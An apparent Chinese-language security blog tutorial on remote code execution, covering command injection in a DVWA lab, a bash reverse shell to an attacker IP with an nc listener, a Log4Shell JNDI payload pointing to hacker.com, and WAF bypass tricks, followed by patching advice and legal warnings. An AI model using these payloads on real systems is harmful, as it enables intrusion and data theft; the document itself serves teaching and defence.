💡 导读:在渗透测试中,SQL 注入、XSS 虽然危险,但攻击者通常只能“读”或“骗”。而 RCE (Remote Code Execution,远程代码执行) 则是黑客的“终极梦想”——直接拿到服务器的操作权限。本期我们将复盘 2021 年震惊世界的 Log4j2 漏洞,并揭秘“命令执行”背后的恐怖逻辑。
一、 什么是 RCE?(一句话秒懂)
RCE = 让目标服务器执行我指定的代码。
想象一下,你有一个网站功能是“测试网络连通性”,后端代码是:
<?php system("ping " . $_GET['ip']); ?>
如果你输入 ?ip=127.0.0.1,它会 ping 本地。
但如果你输入 ?ip=127.0.0.1; cat /etc/passwd呢?
服务器会执行 ping命令,然后紧接着执行 cat /etc/passwd,把系统用户列表直接打印在网页上。这就是 命令注入(Command Injection)。
二、 实战演练:从 Ping 到 GetShell
我们在 DVWA (Command Injection) 靶场中进行演示。
1. 探测注入点
-
输入:
127.0.0.1 -
结果:正常显示 ping 结果。
-
输入:
127.0.0.1 && whoami -
结果:页面显示了当前服务器登录的用户名(如
www-data)。-
&&:表示前一个命令执行成功后,执行后一个命令。 -
;:无论前一个是否成功,都执行后一个(Linux)。 -
|:管道符,将前一个的输出作为后一个的输入。
-
2. 反弹 Shell(核心攻击技术)
仅仅回显信息还不够,我们要获得一个交互式的命令行窗口。
场景:攻击者服务器 IP 是 1.2.3.4。
-
攻击者在自己电脑监听端口:
nc -lvnp 4444 -
在靶场注入攻击代码:
127.0.0.1; bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 -
结果:攻击者的终端上弹出了一个连接,现在你可以在目标服务器上为所欲为了(查看数据库、下载源码、植入木马)。
三、 核弹级漏洞复盘:Log4j2 (CVE-2021-44228)
2021 年底,全球网络安全圈地震。原因是一个 Java 常用的日志组件 Log4j2 出现了漏洞。
1. 原理:日志里还能藏病毒?
Log4j2 有一个功能叫 JNDI (Java Naming and Directory Interface)。它允许日志在打印时,去远程服务器下载并执行代码。
攻击流程:
-
黑客在登录框输入用户名:
${jndi:ldap://hacker.com/evil} -
服务器记录日志:“用户
${jndi:ldap://hacker.com/evil}登录失败。” -
致命点:Log4j2 看到
${...}会解析它,于是服务器主动去访问hacker.com下载evil.class文件。 -
服务器加载了这个 Class 文件,RCE 达成。
2. 2026 年现状:幽灵仍在徘徊
虽然过去了几年,但 Log4j2 依然是渗透测试的必查项。很多企业内部的老旧系统、IoT 设备、甚至某些品牌的打印机固件至今仍未修复。
简单验证(无害):
在搜索框、User-Agent 或用户名处输入:
${java:version}
如果页面返回了 Java 版本号,说明存在解析漏洞(即使不能执行命令,也属于信息泄露)。
四、 现代绕过技巧(WAF Bypass)
WAF 会拦截 whoami、bash、curl等敏感词。我们需要变形。
技巧 1:环境变量拼接
/bin/bas''h # 单引号被去掉后变成 /bin/bash
w'h'o'am'i
技巧 2:Base64 编码
echo d2hvYW1p | base64 -d | bash
# d2hvYW1p 是 whoami 的 Base64 编码
技巧 3:通配符(针对 Linux)
/bin/cat /e??/pa??wd
# ? 匹配单个字符,绕过关键字检测
五、 防御与修复:如何自救?
-
Log4j2 修复:
-
升级到最新版本(>= 2.17.0)。
-
如果无法升级,设置 JVM 参数:
-Dlog4j2.formatMsgNoLookups=true。
-
-
命令执行防御:
-
白名单:不要过滤用户输入,而是只允许特定的输入(如 IP 地址只能是数字和点)。
-
禁用危险函数:在 PHP 中禁用
system,exec,shell_exec等函数。 -
权限隔离:Web 服务器进程(www-data)不应拥有 root 权限,且禁止执行
/bin/bash。
-
⚠️ 安全警示与法律红线
🚨 极度危险的警告:
-
RCE 是刑事重罪:利用 RCE 漏洞进入服务器,无论你是否破坏数据,在中国法律中通常直接定性为 “非法控制计算机信息系统罪”。
-
严禁反弹 Shell:绝对禁止在互联网上对非授权目标进行
nc(Netcat) 监听或反弹 Shell 测试。这是赤裸裸的入侵行为。 -
靶场限制:本篇提到的
bash -i、nc等命令,仅限在本地虚拟机(VMware/VirtualBox)中运行。请勿在任何云服务器或公网 IP 上尝试。
RCE 是黑客的核武器。作为安全研究员,我们的职责是发现漏洞并上报,而不是按下发射按钮。
💬 互动环节
-
你还记得 Log4j2 爆发时的情景吗?当时你的公司是不是连夜加班打补丁?
-
除了 Log4j,你还知道哪些著名的 RCE 漏洞(如 Fastjson、Spring Cloud)?
-
欢迎在评论区留言讨论!
👉 下一期预告:【漏洞攻防-突破边界篇】文件上传与解析漏洞 —— 一张图片如何变成网站后门(Webshell)?
252

被折叠的 条评论
为什么被折叠?



